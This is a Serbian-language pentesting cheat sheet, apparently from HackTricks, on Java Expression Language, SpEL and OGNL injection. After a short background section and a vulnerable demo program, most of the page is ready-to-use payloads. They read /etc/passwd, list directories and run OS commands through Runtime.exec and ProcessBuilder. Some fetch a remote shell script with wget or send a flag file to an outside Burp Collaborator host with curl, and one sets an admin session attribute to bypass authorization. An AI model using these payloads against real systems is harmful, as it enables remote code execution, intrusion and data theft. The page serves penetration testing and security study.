EL - Expression Language

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Bsic Info

Expression Language (EL) je integralni deo JavaEE za povezivanje prezentacionog sloja (npr. web stranice) i aplikacione logike (npr. upravljani beani), omogućavajući njihovu interakciju. Pretežno se koristi u:

• JavaServer Faces (JSF): Za povezivanje UI komponenti sa podacima/akcijama na backendu.
• JavaServer Pages (JSP): Za pristup i manipulaciju podacima unutar JSP stranica.
• Contexts and Dependency Injection for Java EE (CDI): Za olakšavanje interakcije web sloja sa upravljanim bean-ima.

Konteksti korišćenja:

• Spring Framework: Primena u raznim modulima kao što su Security i Data.
• Opšta upotreba: Kroz SpEL API od strane developera u JVM-baziranim jezicima kao što su Java, Kotlin i Scala.

EL je prisutan u JavaEE tehnologijama, samostalnim okruženjima, i prepoznaje se kroz .jsp ili .jsf ekstenzije datoteka, greške u steku i termine kao što su "Servlet" u zaglavljima. Međutim, njegove karakteristike i upotreba određenih karaktera mogu zavisiti od verzije.

Basic Example

(You can find another interesting tutorial about EL in https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=sponsblog/exploiting-ognl-injection-in-apache-struts/)

Preuzmite iz Maven repozitorijuma jar datoteke:

• commons-lang3-3.9.jar
• spring-core-5.2.1.RELEASE.jar
• commons-logging-1.2.jar
• spring-expression-5.2.1.RELEASE.jar

I kreirajte sledeću Main.java datoteku:

import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;

public class Main {
public static ExpressionParser PARSER;

public static void main(String[] args) throws Exception {
PARSER = new SpelExpressionParser();

System.out.println("Enter a String to evaluate:");
java.io.BufferedReader stdin = new java.io.BufferedReader(new java.io.InputStreamReader(System.in));
String input = stdin.readLine();
Expression exp = PARSER.parseExpression(input);
String result = exp.getValue().toString();
System.out.println(result);
}
}

Sledeće kompajlirajte kod (ako nemate javac instaliran, instalirajte sudo apt install default-jdk):

javac -cp commons-lang3-3.9.jar:spring-core-5.2.1.RELEASE.jar:spring-expression-5.2.1.RELEASE.jar:commons-lang3-3.9.jar:commons-logging-1.2.jar:. Main.java

Izvršite aplikaciju sa:

java -cp commons-lang3-3.9.jar:spring-core-5.2.1.RELEASE.jar:spring-expression-5.2.1.RELEASE.jar:commons-lang3-3.9.jar:commons-logging-1.2.jar:. Main
Enter a String to evaluate:
{5*5}
[25]

Napomena kako je u prethodnom primeru termin {5*5} bio evaluiran.

CVE zasnovan tutorijal

Proverite u ovom postu: https://xvnpw.medium.com/hacking-spel-part-1-d2ff2825f62a

Payloads

Osnovne akcije

#Basic string operations examples
{"a".toString()}
[a]

{"dfd".replace("d","x")}
[xfx]

#Access to the String class
{"".getClass()}
[class java.lang.String]

#Access ro the String class bypassing "getClass"
#{""["class"]}

#Access to arbitrary class
{"".getClass().forName("java.util.Date")}
[class java.util.Date]

#List methods of a class
{"".getClass().forName("java.util.Date").getMethods()[0].toString()}
[public boolean java.util.Date.equals(java.lang.Object)]

Otkrivanje

• Burp otkrivanje

gk6q${"zkz".toString().replace("k", "x")}doap2
#The value returned was "igk6qzxzdoap2", indicating of the execution of the expression.

• J2EE detekcija

#J2EEScan Detection vector (substitute the content of the response body with the content of the "INJPARAM" parameter concatenated with a sum of integer):
https://www.example.url/?vulnerableParameter=PRE-${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.print(new%20java.lang.Integer(829%2b9))%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}-POST&INJPARAM=HOOK_VAL

• Spavaj 10 sekundi

#Blind detection vector (sleep during 10 seconds)
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40java.lang.Thread%40sleep(10000)%2c1%3f%23xx%3a%23request.toString}

Uključivanje daljinskih fajlova

https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=new%20java.io.File(%23parameters.INJPARAM[0]),%23pppp=new%20java.io.FileInputStream(%23wwww),%23qqqq=new%20java.lang.Long(%23wwww.length()),%23tttt=new%20byte[%23qqqq.intValue()],%23llll=%23pppp.read(%23tttt),%23pppp.close(),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(new+java.lang.String(%23tttt))%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=%2fetc%2fpasswd

Lista direktorijuma

https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=new%20java.io.File(%23parameters.INJPARAM[0]),%23pppp=%23wwww.listFiles(),%23qqqq=@java.util.Arrays@toString(%23pppp),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23qqqq)%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=..

RCE

• Osnovno objašnjenje RCE

#Check the method getRuntime is there
{"".getClass().forName("java.lang.Runtime").getMethods()[6].toString()}
[public static java.lang.Runtime java.lang.Runtime.getRuntime()]

#Execute command (you won't see the command output in the console)
{"".getClass().forName("java.lang.Runtime").getRuntime().exec("curl http://127.0.0.1:8000")}
[Process[pid=10892, exitValue=0]]

#Execute command bypassing "getClass"
#{""["class"].forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("curl <instance>.burpcollaborator.net")}

# With HTMl entities injection inside the template
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>

• RCE linux

https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=@java.lang.Runtime@getRuntime(),%23ssss=new%20java.lang.String[3],%23ssss[0]="%2fbin%2fsh",%23ssss[1]="%2dc",%23ssss[2]=%23parameters.INJPARAM[0],%23wwww.exec(%23ssss),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=touch%20/tmp/InjectedFile.txt

• RCE Windows (nije testirano)

https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=@java.lang.Runtime@getRuntime(),%23ssss=new%20java.lang.String[3],%23ssss[0]="cmd",%23ssss[1]="%2fC",%23ssss[2]=%23parameters.INJPARAM[0],%23wwww.exec(%23ssss),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=touch%20/tmp/InjectedFile.txt

• Više RCE

// Common RCE payloads
''.class.forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec(<COMMAND STRING/ARRAY>)
''.class.forName('java.lang.ProcessBuilder').getDeclaredConstructors()[1].newInstance(<COMMAND ARRAY/LIST>).start()

// Method using Runtime via getDeclaredConstructors
#{session.setAttribute("rtc","".getClass().forName("java.lang.Runtime").getDeclaredConstructors()[0])}
#{session.getAttribute("rtc").setAccessible(true)}
#{session.getAttribute("rtc").getRuntime().exec("/bin/bash -c whoami")}

// Method using processbuilder
${request.setAttribute("c","".getClass().forName("java.util.ArrayList").newInstance())}
${request.getAttribute("c").add("cmd.exe")}
${request.getAttribute("c").add("/k")}
${request.getAttribute("c").add("ping x.x.x.x")}
${request.setAttribute("a","".getClass().forName("java.lang.ProcessBuilder").getDeclaredConstructors()[0].newInstance(request.getAttribute("c")).start())}
${request.getAttribute("a")}

// Method using Reflection & Invoke
${"".getClass().forName("java.lang.Runtime").getMethods()[6].invoke("".getClass().forName("java.lang.Runtime")).exec("calc.exe")}

// Method using ScriptEngineManager one-liner
${request.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec(\\\"ping x.x.x.x\\\")"))}

// Method using ScriptEngineManager
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
${facesContext.getExternalContext().setResponseHeader("output","".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval(\"var x=new java.lang.ProcessBuilder;x.command(\\\"wget\\\",\\\"http://x.x.x.x/1.sh\\\");

//https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt
(T(org.springframework.util.StreamUtils).copy(T(java.lang.Runtime).getRuntime().exec("cmd "+T(java.lang.String).valueOf(T(java.lang.Character).toChars(0x2F))+"c "+T(java.lang.String).valueOf(new char[]{T(java.lang.Character).toChars(100)[0],T(java.lang.Character).toChars(105)[0],T(java.lang.Character).toChars(114)[0]})).getInputStream(),T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getResponse().getOutputStream()))
T(java.lang.System).getenv()[0]
T(java.lang.Runtime).getRuntime().exec('ping my-domain.com')
T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec("cmd /c dir").getInputStream())
''.class.forName('java.lang.Runtime').getRuntime().exec('calc.exe')

Inspekcija okruženja

• applicationScope - globalne aplikacione promenljive
• requestScope - promenljive zahteva
• initParam - promenljive inicijalizacije aplikacije
• sessionScope - promenljive sesije
• param.X - vrednost parametra gde je X naziv http parametra

Biće potrebno da konvertujete ove promenljive u String kao:

${sessionScope.toString()}

Primer za zaobilaženje autorizacije

${pageContext.request.getSession().setAttribute("admin", true)}

Aplikacija takođe može koristiti prilagođene promenljive kao što su:

${user}
${password}
${employee.FirstName}

WAF Bypass

Proverite https://h1pmnh.github.io/post/writeup_spring_el_waf_bypass/

References

• https://techblog.mediaservice.net/2016/10/exploiting-ognl-injection/
• https://www.exploit-db.com/docs/english/46303-remote-code-execution-with-el-injection-vulnerabilities.pdf
• https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#tools
• https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt